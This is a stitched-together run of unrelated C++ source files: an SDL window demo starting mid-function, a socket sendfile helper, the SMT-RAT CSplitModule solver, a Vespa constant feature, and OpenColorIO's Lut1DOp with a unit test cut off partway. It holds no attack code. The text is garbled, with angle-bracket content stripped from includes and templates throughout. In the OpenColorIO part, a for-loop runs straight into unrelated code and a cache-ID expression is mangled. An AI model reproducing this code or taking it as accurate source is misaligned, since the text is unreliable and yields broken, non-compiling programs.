SDL_INIT_VIDEO | SDL_INIT_TIMER ); sdl.draw(); */ SDL_Window *affichage = NULL; SDL_Renderer *renderer = NULL; SDL_Surface *image = NULL; if(SDL_Init(SDL_INIT_VIDEO) != 0) { SDL_Log("error : init SDL > %s\n", SDL_GetError()); exit(EXIT_FAILURE); } // Affichage de l'image affichage = SDL_CreateWindow("MiniProjet_2", 0, 0, 287, 450, SDL_WINDOW_BORDERLESS); if(affichage == NULL) { SDL_Log("error : create window SDL > %s\n", SDL_GetError()); exit(EXIT_FAILURE); } renderer = SDL_CreateRenderer(affichage, -1, SDL_RENDERER_SOFTWARE); if(renderer == NULL) { SDL_Log("error : create renderer SDL > %s\n", SDL_GetError()); exit(EXIT_FAILURE); } image = IMG_Load("pinguin.jpg"); if(image == NULL) { SDL_Log("error : create image SDL > %s\n", SDL_GetError()); exit(EXIT_FAILURE); } SDL_Delay(5000); SDL_DestroyWindow(affichage); SDL_Quit(); return 0; } catch ( const InitError & err ) { std::cerr << "Error while initializing SDL: " << err.what() << std::endl; } return 1; } src/tool/filereader.cc /** * Copyright lizhaolong(https://github.com/Super-long) * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "filereader.h" #include namespace ws{ ssize_t FileReader::SendFile(int Socket_Fd){ // 第三个参数为nullptr默认从文件起始开始; return sendfile(Socket_Fd, fd(), &offest,length - offest); } }src/smtrat-modules/CSplitModule/CSplitModule.cpp /** * @file CSplitModule.cpp * @author <> * * @version 2018-04-04 * Created on 2017-11-01. */ #include "CSplitModule.h" #include namespace smtrat { template CSplitModule::CSplitModule(const ModuleInput* _formula, Conditionals& _conditionals, Manager* _manager) : Module( _formula, _conditionals, _manager ) , mPurifications() , mExpansions() , mLinearizations() , mVariableBounds() , mLRAModel() , mCheckedWithBackends(false) {} template bool CSplitModule::addCore(ModuleInput::const_iterator _subformula) { addReceivedSubformulaToPassedFormula(_subformula); const FormulaT& formula{_subformula->formula()}; if (formula.getType() == carl::FormulaType::FALSE) mInfeasibleSubsets.push_back({formula}); else if (formula.isBound()) { /// Update the variable domain with the asserted bound mVariableBounds.addBound(formula, formula); const carl::Variable& variable{*formula.variables().begin()}; auto expansionIter{mExpansions.firstFind(variable)}; if (expansionIter == mExpansions.end()) expansionIter = mExpansions.emplace(variable); expansionIter->mChangedBounds = true; if (mVariableBounds.isConflicting()) mInfeasibleSubsets.emplace_back(mVariableBounds.getConflict()); } else if (formula.getType() == carl::FormulaType::CONSTRAINT) { /// Normalize the left hand side of the constraint and turn the relation accordingly const ConstraintT& constraint{formula.constraint()}; const Poly normalization{constraint.lhs().normalize()}; carl::Relation relation{constraint.relation()}; if (carl::isNegative(constraint.lhs().lcoeff())) relation = carl::turn_around(relation); /// Purifiy and discretize the normalized left hand side to construct the linearization auto linearizationIter{mLinearizations.firstFind(normalization)}; if (linearizationIter == mLinearizations.end()) { Poly discretization; std::vector purifications; bool hasRealVariables{false}; for (TermT term : normalization) { if (!term.isConstant()) { size_t realVariables{0}; for (const auto& exponent : term.monomial()->exponents()) if (exponent.first.type() == carl::VariableType::VT_REAL) realVariables += exponent.second; if (realVariables) { term.coeff() /= carl::pow(Rational(Settings::discrDenom), realVariables); hasRealVariables = true; } if (!term.isLinear()) { Purification& purification{mPurifications[term.monomial()]}; purifications.emplace_back(&purification); term = term.coeff()*purification.mSubstitutions[0]; } else if (realVariables) { const carl::Variable variable{term.getSingleVariable()}; auto expansionIter{mExpansions.firstFind(variable)}; if (expansionIter == mExpansions.end()) expansionIter = mExpansions.emplace(variable); term = term.coeff()*expansionIter->mQuotients[0]; } } discretization += term; } linearizationIter = mLinearizations.emplace(normalization, std::move(discretization.normalize()), std::move(purifications), hasRealVariables); } Linearization& linearization{*linearizationIter}; propagateFormula(FormulaT(linearization.mLinearization, relation), true); if (linearization.mRelations.empty()) for (Purification *purification : linearization.mPurifications) ++purification->mUsage; linearization.mRelations.emplace(relation); /// Check if the asserted relation trivially conflicts with other asserted relations switch (relation) { case carl::Relation::EQ: if (linearization.mRelations.count(carl::Relation::NEQ)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::EQ), FormulaT(normalization, carl::Relation::NEQ) }); if (linearization.mRelations.count(carl::Relation::LESS)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::EQ), FormulaT(normalization, carl::Relation::LESS) }); if (linearization.mRelations.count(carl::Relation::GREATER)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::EQ), FormulaT(normalization, carl::Relation::GREATER) }); break; case carl::Relation::NEQ: if (linearization.mRelations.count(carl::Relation::EQ)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::NEQ), FormulaT(normalization, carl::Relation::EQ) }); break; case carl::Relation::LESS: if (linearization.mRelations.count(carl::Relation::EQ)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::LESS), FormulaT(normalization, carl::Relation::EQ) }); if (linearization.mRelations.count(carl::Relation::GEQ)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::LESS), FormulaT(normalization, carl::Relation::GEQ) }); case carl::Relation::LEQ: if (linearization.mRelations.count(carl::Relation::GREATER)) mInfeasibleSubsets.push_back({ FormulaT(normalization, relation), FormulaT(normalization, carl::Relation::GREATER) }); break; case carl::Relation::GREATER: if (linearization.mRelations.count(carl::Relation::EQ)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::GREATER), FormulaT(normalization, carl::Relation::EQ) }); if (linearization.mRelations.count(carl::Relation::LEQ)) mInfeasibleSubsets.push_back({ FormulaT(normalization, carl::Relation::GREATER), FormulaT(normalization, carl::Relation::LEQ) }); case carl::Relation::GEQ: if (linearization.mRelations.count(carl::Relation::LESS)) mInfeasibleSubsets.push_back({ FormulaT(normalization, relation), FormulaT(normalization, carl::Relation::LESS) }); break; default: assert(false); } } return mInfeasibleSubsets.empty(); } template void CSplitModule::removeCore(ModuleInput::const_iterator _subformula) { const FormulaT& formula{_subformula->formula()}; if (formula.isBound()) { /// Update the variable domain with the removed bound mVariableBounds.removeBound(formula, formula); mExpansions.firstAt(*formula.variables().begin()).mChangedBounds = true; } else if (formula.getType() == carl::FormulaType::CONSTRAINT) { /// Normalize the left hand side of the constraint and turn the relation accordingly const ConstraintT& constraint{formula.constraint()}; const Poly normalization{constraint.lhs().normalize()}; carl::Relation relation{constraint.relation()}; if (carl::isNegative(constraint.lhs().lcoeff())) relation = carl::turn_around(relation); /// Retrieve the normalized constraint and mark the separator object as changed Linearization& linearization{mLinearizations.firstAt(normalization)}; propagateFormula(FormulaT(linearization.mLinearization, relation), false); linearization.mRelations.erase(relation); if (linearization.mRelations.empty()) for (Purification *purification : linearization.mPurifications) ++purification->mUsage; } } template void CSplitModule::updateModel() const { if(!mModelComputed) { clearModel(); if (mCheckedWithBackends) { getBackendsModel(); excludeNotReceivedVariablesFromModel(); } else { for (const Expansion& expansion : mExpansions) if (receivedVariable(expansion.mRationalization)) { Rational value{mLRAModel.at(expansion.mDiscretization).asRational()}; if (expansion.mRationalization.type() == carl::VariableType::VT_REAL) value /= Settings::discrDenom; mModel.emplace(expansion.mRationalization, value); } } mModelComputed = true; } } template Answer CSplitModule::checkCore() { /// Report unsatisfiability if the already found conflicts are still unresolved if (!mInfeasibleSubsets.empty()) return Answer::UNSAT; /// Apply the method only if the asserted formula is not trivially undecidable if (rReceivedFormula().isConstraintConjunction()) { mLRAModule.push(); if (resetExpansions()) { mCheckedWithBackends = false; for (size_t i = 1; i <= Settings::maxIter; ++i) if (mLRAModule.check(true) == Answer::SAT) { mLRAModel = mLRAModule.model(); mLRAModule.pop(); return Answer::SAT; } else { FormulaSetT conflict{mLRAModule.infeasibleSubsets()[0]}; if (bloatDomains(conflict)) { mLRAModule.pop(); return analyzeConflict(conflict); } } } mLRAModule.pop(); } /// Check the asserted formula with the backends mCheckedWithBackends = true; Answer answer{runBackends()}; if (answer == Answer::UNSAT) getInfeasibleSubsets(); return answer; } template bool CSplitModule::resetExpansions() { /// Update the variable domains and watch out for discretization conflicts for (Expansion& expansion : mExpansions) { RationalInterval& maximalDomain{expansion.mMaximalDomain}; if (expansion.mChangedBounds) { maximalDomain = mVariableBounds.getInterval(expansion.mRationalization); if (expansion.mRationalization.type() == carl::VariableType::VT_REAL) maximalDomain *= Rational(Settings::discrDenom); maximalDomain.integralPart_assign(); if (expansion.mMaximalDomain.isUnbounded()) expansion.mMaximalDomainSize = DomainSize::UNBOUNDED; else if (expansion.mMaximalDomain.diameter() > Settings::maxDomainSize) expansion.mMaximalDomainSize = DomainSize::LARGE; else expansion.mMaximalDomainSize = DomainSize::SMALL; expansion.mChangedBounds = false; } if (maximalDomain.isEmpty()) return false; expansion.mActiveDomain = RationalInterval::emptyInterval(); expansion.mPurifications.clear(); } /// Activate all used purifications bottom-up for (auto purificationIter = mPurifications.begin(); purificationIter != mPurifications.end(); ++purificationIter) { Purification& purification{purificationIter->second}; if (purification.mUsage) { carl::Monomial::Arg monomial{purificationIter->first}; /// Find set of variables with maximal domain size carl::Variables maxVariables; DomainSize maxDomainSize{DomainSize::SMALL}; for (const auto& exponent : monomial->exponents()) { const carl::Variable& variable{exponent.first}; auto expansionIter{mExpansions.firstFind(variable)}; if (expansionIter == mExpansions.end()) expansionIter = mExpansions.emplace(variable); Expansion& expansion{*expansionIter}; if (maxDomainSize <= expansion.mMaximalDomainSize) { if (maxDomainSize < expansion.mMaximalDomainSize) { maxVariables.clear(); maxDomainSize = expansion.mMaximalDomainSize; } maxVariables.emplace(variable); } } /// Find a locally optimal reduction for the monomial const auto isReducible = [&](const auto& purificationsEntry) { return purificationsEntry.second.mActive && monomial->divisible(purificationsEntry.first) && std::any_of( maxVariables.begin(), maxVariables.end(), [&](const carl::Variable& variable) { return purificationsEntry.first->has(variable); } ); }; auto reductionIter{std::find_if(std::make_reverse_iterator(purificationIter), mPurifications.rend(), isReducible)}; /// Activate the sequence of reductions top-down carl::Monomial::Arg guidance; if (reductionIter == mPurifications.rend()) monomial->divide(*maxVariables.begin(), guidance); else monomial->divide(reductionIter->first, guidance); auto hintIter{purificationIter}; for (const auto& exponentPair : guidance->exponents()) { const carl::Variable& variable{exponentPair.first}; Expansion& expansion{mExpansions.firstAt(variable)}; for (carl::exponent exponent = 1; exponent <= exponentPair.second; ++exponent) { hintIter->second.mActive = true; expansion.mPurifications.emplace_back(&hintIter->second); monomial->divide(variable, monomial); if (monomial->isAtMostLinear()) hintIter->second.mReduction = mExpansions.firstAt(monomial->getSingleVariable()).mQuotients[0]; else { auto temp{mPurifications.emplace_hint(hintIter, std::piecewise_construct, std::make_tuple(monomial), std::make_tuple())}; hintIter->second.mReduction = temp->second.mSubstitutions[0]; hintIter = temp; } } } } else purification.mActive = false; } /// Activate expansions that are used for case splits and deactivate them otherwise for (Expansion& expansion : mExpansions) { /// Calculate the center point where the initial domain is located expansion.mNucleus = 0; if (expansion.mMaximalDomain.lowerBoundType() != carl::BoundType::INFTY && expansion.mNucleus < expansion.mMaximalDomain.lower()) expansion.mNucleus = expansion.mMaximalDomain.lower(); else if (expansion.mMaximalDomain.upperBoundType() != carl::BoundType::INFTY && expansion.mNucleus > expansion.mMaximalDomain.upper()) expansion.mNucleus = expansion.mMaximalDomain.upper(); /// Calculate and activate the corresponding domain RationalInterval domain(0, 1); domain.mul_assign(carl::Interval(Rational(Settings::initialRadius))); domain.add_assign(carl::Interval(expansion.mNucleus)); domain = carl::set_intersection(domain, expansion.mMaximalDomain); changeActiveDomain(expansion, std::move(domain)); } return true; } template bool CSplitModule::bloatDomains(const FormulaSetT& LRAConflict) { /// Data structure for potential bloating candidates struct Candidate { Expansion& mExpansion; const Rational mDirection; const Rational mRadius; Candidate(Expansion& expansion, Rational&& direction, Rational&& radius) : mExpansion(expansion) , mDirection(std::move(direction)) , mRadius(std::move(radius)) {} bool operator<(const Candidate& rhs) const { if (carl::isOne(mDirection*rhs.mDirection)) return mRadius < rhs.mRadius; else if (carl::isOne(mDirection)) return mRadius < Rational(Settings::thresholdRadius); else return rhs.mRadius >= Rational(Settings::thresholdRadius); } }; std::set candidates; /// Scan the infeasible subset of the LRA solver for potential candidates for (const FormulaT& formula : LRAConflict) if (formula.isBound()) { const ConstraintT& constraint{formula.constraint()}; const carl::Variable variable{constraint.variables().as_vector().front()}; auto expansionIter{mExpansions.secondFind(variable)}; if (expansionIter != mExpansions.end()) { Expansion& expansion{*expansionIter}; Rational direction; if (constraint.isLowerBound() && (expansion.mMaximalDomain.lowerBoundType() == carl::BoundType::INFTY || expansion.mMaximalDomain.lower() < expansion.mActiveDomain.lower())) direction = -1; else if (constraint.isUpperBound() && (expansion.mMaximalDomain.upperBoundType() == carl::BoundType::INFTY || expansion.mMaximalDomain.upper() > expansion.mActiveDomain.upper())) direction = 1; if (!carl::isZero(direction)) { Rational radius{(direction*(expansion.mActiveDomain-expansion.mNucleus)).upper()}; if (radius <= Settings::maximalRadius) { candidates.emplace(expansion, std::move(direction), std::move(radius)); if (candidates.size() > Settings::maxBloatedDomains) candidates.erase(std::prev(candidates.end())); } } } } /// Change the active domain of the candidates with highest priority for (const Candidate& candidate : candidates) { RationalInterval domain; if (candidate.mRadius <= Settings::thresholdRadius) domain = RationalInterval(0, 1); else if (candidate.mExpansion.mPurifications.empty()) domain = RationalInterval(0, carl::BoundType::WEAK, 0, carl::BoundType::INFTY); else domain = RationalInterval(0, candidate.mRadius); domain.mul_assign(carl::Interval(candidate.mDirection)); domain.add_assign(candidate.mExpansion.mActiveDomain); domain = carl::set_intersection(domain, candidate.mExpansion.mMaximalDomain); changeActiveDomain(candidate.mExpansion, std::move(domain)); } /// Report if any variable domain was bloated return candidates.empty(); } template Answer CSplitModule::analyzeConflict(const FormulaSetT& LRAConflict) { FormulaSetT infeasibleSubset; for (const FormulaT& formula : LRAConflict) { if (formula.isBound()) { auto expansionIter{mExpansions.secondFind(*formula.variables().begin())}; if (expansionIter != mExpansions.end()) { const Expansion& expansion{*expansionIter}; if (expansion.mRationalization.type() == carl::VariableType::VT_REAL || expansion.mMaximalDomain != expansion.mActiveDomain) return Answer::UNKNOWN; else { FormulaSetT boundOrigins{mVariableBounds.getOriginSetOfBounds(expansion.mRationalization)}; infeasibleSubset.insert(boundOrigins.begin(), boundOrigins.end()); } } } else if (formula.getType() == carl::FormulaType::CONSTRAINT) { const ConstraintT& constraint{formula.constraint()}; auto linearizationIter{mLinearizations.secondFind(constraint.lhs().normalize())}; if (linearizationIter != mLinearizations.end()) { const Linearization& linearization{*linearizationIter}; if (linearization.mHasRealVariables) return Answer::UNKNOWN; else { carl::Relation relation{constraint.relation()}; if (carl::isNegative(constraint.lhs().lcoeff())) relation = carl::turn_around(relation); infeasibleSubset.emplace(linearization.mNormalization, relation); } } } } mInfeasibleSubsets.emplace_back(std::move(infeasibleSubset)); return Answer::UNSAT; } template void CSplitModule::changeActiveDomain(Expansion& expansion, RationalInterval&& domain) { RationalInterval activeDomain{std::move(expansion.mActiveDomain)}; expansion.mActiveDomain = domain; /// Update the variable bounds if (!activeDomain.isEmpty()) { if (activeDomain.lowerBoundType() != carl::BoundType::INFTY && (domain.lowerBoundType() == carl::BoundType::INFTY || domain.lower() != activeDomain.lower() || domain.isEmpty())) propagateFormula(FormulaT(expansion.mQuotients[0]-Poly(activeDomain.lower()), carl::Relation::GEQ), false); if (activeDomain.upperBoundType() != carl::BoundType::INFTY && (domain.upperBoundType() == carl::BoundType::INFTY || domain.upper() != activeDomain.upper() || domain.isEmpty())) propagateFormula(FormulaT(expansion.mQuotients[0]-Poly(activeDomain.upper()), carl::Relation::LEQ), false); } if (!domain.isEmpty()) { if (domain.lowerBoundType() != carl::BoundType::INFTY && (activeDomain.lowerBoundType() == carl::BoundType::INFTY || activeDomain.lower() != domain.lower() || activeDomain.isEmpty())) propagateFormula(FormulaT(expansion.mQuotients[0]-Poly(domain.lower()), carl::Relation::GEQ), true); if (domain.upperBoundType() != carl::BoundType::INFTY && (activeDomain.upperBoundType() == carl::BoundType::INFTY || activeDomain.upper() != domain.upper() || activeDomain.isEmpty())) propagateFormula(FormulaT(expansion.mQuotients[0]-Poly(domain.upper()), carl::Relation::LEQ), true); } /// Check if the digits of the expansion need to be encoded if (expansion.mPurifications.empty()) { activeDomain = RationalInterval::emptyInterval(); domain = RationalInterval::emptyInterval(); } /// Update the case splits of the corresponding digits for (size_t i = 0; activeDomain != domain; ++i) { if (domain.diameter() <= Settings::maxDomainSize) { /// Update the currently active linear encoding Rational lower{activeDomain.isEmpty() ? domain.lower() : activeDomain.lower()}; Rational upper{activeDomain.isEmpty() ? domain.lower() : activeDomain.upper()+1}; for (const Purification *purification : expansion.mPurifications) { for (Rational alpha = domain.lower(); alpha < lower; ++alpha) propagateFormula( FormulaT( carl::FormulaType::IMPLIES, FormulaT(Poly(expansion.mQuotients[i])-Poly(alpha), carl::Relation::EQ), FormulaT(Poly(purification->mSubstitutions[i])-Poly(alpha)*Poly(purification->mReduction), carl::Relation::EQ) ), true ); for (Rational alpha = upper; alpha <= domain.upper(); ++alpha) propagateFormula( FormulaT( carl::FormulaType::IMPLIES, FormulaT(Poly(expansion.mQuotients[i])-Poly(alpha), carl::Relation::EQ), FormulaT(Poly(purification->mSubstitutions[i])-Poly(alpha)*Poly(purification->mReduction), carl::Relation::EQ) ), true ); } } else if (activeDomain.diameter() <= Settings::maxDomainSize) { /// Switch from the linear to a logarithmic encoding if (expansion.mQuotients.size() <= i+1) { expansion.mQuotients.emplace_back(carl::freshIntegerVariable()); expansion.mRemainders.emplace_back(carl::freshIntegerVariable()); } for (Purification *purification : expansion.mPurifications) { if (purification->mSubstitutions.size() <= i+1) purification->mSubstitutions.emplace_back(carl::freshIntegerVariable()); for (Rational alpha = activeDomain.lower(); alpha <= activeDomain.upper(); ++alpha) propagateFormula( FormulaT( carl::FormulaType::IMPLIES, FormulaT(Poly(expansion.mQuotients[i])-Poly(alpha), carl::Relation::EQ), FormulaT(Poly(purification->mSubstitutions[i])-Poly(alpha)*Poly(purification->mReduction), carl::Relation::EQ) ), false ); for (Rational alpha = 0; alpha < Settings::expansionBase; ++alpha) propagateFormula( FormulaT( carl::FormulaType::IMPLIES, FormulaT(Poly(expansion.mRemainders[i])-Poly(alpha), carl::Relation::EQ), FormulaT(Poly(purification->mSubstitutions[i])-Poly(Settings::expansionBase)*Poly(purification->mSubstitutions[i+1])-Poly(alpha)*Poly(purification->mReduction), carl::Relation::EQ) ), true ); } propagateFormula(FormulaT(Poly(expansion.mQuotients[i])-Poly(Settings::expansionBase)*Poly(expansion.mQuotients[i+1])-Poly(expansion.mRemainders[i]), carl::Relation::EQ), true); propagateFormula(FormulaT(Poly(expansion.mRemainders[i]), carl::Relation::GEQ), true); propagateFormula(FormulaT(Poly(expansion.mRemainders[i])-Poly(Settings::expansionBase-1), carl::Relation::LEQ), true); } /// Calculate the domain of the next digit if (!activeDomain.isEmpty()) { if (activeDomain.diameter() <= Settings::maxDomainSize) activeDomain = RationalInterval::emptyInterval(); else activeDomain = carl::floor(activeDomain/Rational(Settings::expansionBase)); } if (!domain.isEmpty()) { if (domain.diameter() <= Settings::maxDomainSize) domain = RationalInterval::emptyInterval(); else domain = carl::floor(domain/Rational(Settings::expansionBase)); } /// Update the variable bounds of the next digit if (!activeDomain.isEmpty()) { if (domain.isEmpty() || domain.lower() != activeDomain.lower()) propagateFormula(FormulaT(expansion.mQuotients[i+1]-Poly(activeDomain.lower()), carl::Relation::GEQ), false); if (domain.isEmpty() || domain.upper() != activeDomain.upper()) propagateFormula(FormulaT(expansion.mQuotients[i+1]-Poly(activeDomain.upper()), carl::Relation::LEQ), false); } if (!domain.isEmpty()) { if (activeDomain.isEmpty() || activeDomain.lower() != domain.lower()) propagateFormula(FormulaT(expansion.mQuotients[i+1]-Poly(domain.lower()), carl::Relation::GEQ), true); if (activeDomain.isEmpty() || activeDomain.upper() != domain.upper()) propagateFormula(FormulaT(expansion.mQuotients[i+1]-Poly(domain.upper()), carl::Relation::LEQ), true); } } } template inline void CSplitModule::propagateFormula(const FormulaT& formula, bool assert) { if (assert) mLRAModule.add(formula); else mLRAModule.remove(std::find(mLRAModule.formulaBegin(), mLRAModule.formulaEnd(), formula)); } } #include "Instantiation.h" searchlib/src/vespa/searchlib/features/constant_feature.cpp // Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include "constant_feature.h" #include "valuefeature.h" #include #include #include #include LOG_SETUP(".features.constant_feature"); using namespace search::fef; namespace search::features { /** * Feature executor that returns a constant value. */ class ConstantFeatureExecutor : public fef::FeatureExecutor { private: const vespalib::eval::Value &_value; public: ConstantFeatureExecutor(const vespalib::eval::Value &value) : _value(value) {} bool isPure() override { return true; } void execute(uint32_t) override { outputs().set_object(0, _value); } static FeatureExecutor &create(const vespalib::eval::Value &value, vespalib::Stash &stash) { return stash.create(value); } }; ConstantBlueprint::ConstantBlueprint() : Blueprint("constant"), _key(), _value() { } ConstantBlueprint::~ConstantBlueprint() = default; void ConstantBlueprint::visitDumpFeatures(const IIndexEnvironment &, IDumpFeatureVisitor &) const { } Blueprint::UP ConstantBlueprint::createInstance() const { return std::make_unique(); } bool ConstantBlueprint::setup(const IIndexEnvironment &env, const ParameterList ¶ms) { _key = params[0].getValue(); _value = env.getConstantValue(_key); if (!_value) { fail("Constant '%s' not found", _key.c_str()); } else if (_value->type().is_error()) { fail("Constant '%s' has invalid type", _key.c_str()); } FeatureType output_type = _value ? FeatureType::object(_value->type()) : FeatureType::number(); describeOutput("out", "The constant looked up in index environment using the given key.", output_type); return (_value && !_value->type().is_error()); } FeatureExecutor & ConstantBlueprint::createExecutor(const IQueryEnvironment &env, vespalib::Stash &stash) const { (void) env; if (_value) { return ConstantFeatureExecutor::create(_value->value(), stash); } else { // Note: Should not happen, setup() has already failed return stash.create(); } } } 0 // SPDX-License-Identifier: BSD-3-Clause // Copyright Contributors to the OpenColorIO Project. #include #include #include #include #include #include "BitDepthUtils.h" #include "HashUtils.h" #include "GpuShaderUtils.h" #include "MathUtils.h" #include "ops/Lut1D/Lut1DOp.h" #include "ops/Lut1D/Lut1DOpCPU.h" #include "ops/Lut1D/Lut1DOpGPU.h" #include "ops/Matrix/MatrixOps.h" #include "OpTools.h" #include "SSE.h" OCIO_NAMESPACE_ENTER { namespace { class Lut1DOp; typedef OCIO_SHARED_PTR Lut1DOpRcPtr; typedef OCIO_SHARED_PTR ConstLut1DOpRcPtr; class Lut1DOp : public Op { public: Lut1DOp() = delete; Lut1DOp(const Lut1DOp &) = delete; explicit Lut1DOp(Lut1DOpDataRcPtr & lutData); virtual ~Lut1DOp(); TransformDirection getDirection() const noexcept override { return lut1DData()->getDirection(); } OpRcPtr clone() const override; std::string getInfo() const override; bool isSameType(ConstOpRcPtr & op) const override; bool isInverse(ConstOpRcPtr & op) const override; bool hasChannelCrosstalk() const override; void finalize(FinalizationFlags fFlags) override; ConstOpCPURcPtr getCPUOp() const override; bool supportedByLegacyShader() const override { return false; } void extractGpuShaderInfo(GpuShaderDescRcPtr & shaderDesc) const override; ConstLut1DOpDataRcPtr lut1DData() const { return DynamicPtrCast(data()); } Lut1DOpDataRcPtr lut1DData() { return DynamicPtrCast(data()); } }; Lut1DOp::Lut1DOp(Lut1DOpDataRcPtr & lut1D) { data() = lut1D; } Lut1DOp::~Lut1DOp() { } OpRcPtr Lut1DOp::clone() const { Lut1DOpDataRcPtr lut = lut1DData()->clone(); return std::make_shared(lut); } std::string Lut1DOp::getInfo() const { return ""; } bool Lut1DOp::isSameType(ConstOpRcPtr & op) const { ConstLut1DOpRcPtr typedRcPtr = DynamicPtrCast(op); return (bool)typedRcPtr; } bool Lut1DOp::isInverse(ConstOpRcPtr & op) const { ConstLut1DOpRcPtr typedRcPtr = DynamicPtrCast(op); if (typedRcPtr) { ConstLut1DOpDataRcPtr lutData = typedRcPtr->lut1DData(); return lut1DData()->isInverse(lutData); } return false; } bool Lut1DOp::hasChannelCrosstalk() const { return lut1DData()->hasChannelCrosstalk(); } void Lut1DOp::finalize(FinalizationFlags fFlags) { Lut1DOpDataRcPtr lutData = lut1DData(); lutData->setInversionQuality( fFlags==FINALIZATION_FAST ? LUT_INVERSION_FAST: LUT_INVERSION_EXACT); lutData->finalize(); // Rebuild the cache identifier std::ostringstream cacheIDStream; cacheIDStream << "getCacheID() << " "; cacheIDStream << ">"; m_cacheID = cacheIDStream.str(); } ConstOpCPURcPtr Lut1DOp::getCPUOp() const { ConstLut1DOpDataRcPtr data = lut1DData(); return GetLut1DRenderer(data, BIT_DEPTH_F32, BIT_DEPTH_F32); } void Lut1DOp::extractGpuShaderInfo(GpuShaderDescRcPtr & shaderDesc) const { ConstLut1DOpDataRcPtr lutData = lut1DData(); if (lutData->getDirection() == TRANSFORM_DIR_INVERSE) { // TODO: Add GPU renderer for EXACT mode. Lut1DOpDataRcPtr newLut = Lut1DOpData::MakeFastLut1DFromInverse(lutData, true); if (!newLut) { throw Exception("Cannot apply Lut1DOp, inversion failed."); } Lut1DOp invLut(newLut); invLut.finalize(FINALIZATION_EXACT); invLut.extractGpuShaderInfo(shaderDesc); } else { GetLut1DGPUShaderProgram(shaderDesc, lutData); } } } void CreateLut1DOp(OpRcPtrVec & ops, Lut1DOpDataRcPtr & lut, TransformDirection direction) { // TODO: Detect if 1D LUT can be exactly approximated as y = mx + b // If so, return a mtx instead. if (direction != TRANSFORM_DIR_FORWARD && direction != TRANSFORM_DIR_INVERSE) { throw Exception("Cannot apply Lut1DOp op, " "unspecified transform direction."); } if (direction == TRANSFORM_DIR_FORWARD) { ops.push_back(std::make_shared(lut)); } else { Lut1DOpDataRcPtr data = lut->inverse(); ops.push_back(std::make_shared(data)); } } void GenerateIdentityLut1D(float* img, int numElements, int numChannels) { if(!img) return; int numChannelsToFill = std::min(3, numChannels); float scale = 1.0f / ((float) numElements - 1.0f); for(int i=0; i(op); if (!lut) { throw Exception("CreateLut1DTransform: op has to be a Lut1DOp"); } auto lutData = DynamicPtrCast(op->data()); auto lutTransform = LUT1DTransform::Create(); lutTransform->setFileOutputBitDepth(lutData->getFileOutputBitDepth()); const auto dir = lutData->getDirection(); lutTransform->setDirection(dir); auto & formatMetadata = lutTransform->getFormatMetadata(); auto & metadata = dynamic_cast(formatMetadata); metadata = lutData->getFormatMetadata(); const bool inputHalf = lutData->isInputHalfDomain(); const bool outputHalf = lutData->isOutputRawHalfs(); const LUT1DHueAdjust hue = lutData->getHueAdjust(); const Interpolation interp = lutData->getInterpolation(); lutTransform->setInputHalfDomain(inputHalf); lutTransform->setOutputRawHalfs(outputHalf); lutTransform->setHueAdjust(hue); lutTransform->setInterpolation(interp); auto & lutArray = lutData->getArray(); const unsigned long l = lutArray.getLength(); lutTransform->setLength(l); for (unsigned int i = 0; i < l; ++i) { lutTransform->setValue(i, lutArray[3 * i], lutArray[3 * i + 1], lutArray[3 * i + 2]); } group->appendTransform(lutTransform); } void BuildLut1DOps(OpRcPtrVec & ops, const Config & config, const LUT1DTransform & transform, TransformDirection dir) { TransformDirection combinedDir = CombineTransformDirections(dir, transform.getDirection()); const unsigned long length = transform.getLength(); auto halfFlags = (Lut1DOpData::HalfFlags)( (transform.getInputHalfDomain() ? Lut1DOpData::LUT_INPUT_HALF_CODE : Lut1DOpData::LUT_STANDARD) | (transform.getOutputRawHalfs() ? Lut1DOpData::LUT_OUTPUT_HALF_CODE : Lut1DOpData::LUT_STANDARD)); auto data = std::make_shared( halfFlags, length); data->setInterpolation(transform.getInterpolation()); data->getFormatMetadata() = transform.getFormatMetadata(); data->setFileOutputBitDepth(transform.getFileOutputBitDepth()); data->setHueAdjust(transform.getHueAdjust()); for (unsigned long i = 0; i < length; ++i) { float r = 0.f; float g = 0.f; float b = 0.f; transform.getValue(i, r, g, b); data->getArray()[3 * i] = r; data->getArray()[3 * i + 1] = g; data->getArray()[3 * i + 2] = b; } CreateLut1DOp(ops, data, combinedDir); } } OCIO_NAMESPACE_EXIT /////////////////////////////////////////////////////////////////////////////// #ifdef OCIO_UNIT_TEST #include namespace OCIO = OCIO_NAMESPACE; #include "OpBuilders.h" #include "UnitTest.h" #include "UnitTestUtils.h" namespace { OCIO_ADD_TEST(Lut1DOp, extrapolation_errors) { OCIO::Lut1DOpDataRcPtr lut = std::make_shared(3); auto & lutArray = lut->getArray(); // Simple y=x+0.1 LUT. for (int i = 0; i < 3; ++i) { for (int c = 0; c < 3; ++c) { lutArray[c + i * 3] += 0.1f; } } bool isIdentity = true; OCIO_CHECK_NO_THROW(isIdentity = lut->isNoOp()); OCIO_CHECK_ASSERT(!isIdentity); OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lut, OCIO::TRANSFORM_DIR_FORWARD)); const int PIXELS = 5; float inputBuffer_linearforward[PIXELS * 4] = { -0.1f, -0.2f, -10.0f, 0.0f, 0.5f, 1.0f, 1.1f, 0.0f, 10.1f, 55.0f, 2.3f, 0.0f, 9.1f, 1.0e6f, 1.0e9f, 0.0f, 4.0e9f, 9.5e7f, 0.5f, 0.0f }; const float outputBuffer_linearforward[PIXELS * 4] = { 0.1f, 0.1f, 0.1f, 0.0f, 0.6f, 1.1f, 1.1f, 0.0f, 1.1f, 1.1f, 1.1f, 0.0f, 1.1f, 1.1f, 1.1f, 0.0f, 1.1f, 1.1f, 0.6f, 0.0f }; 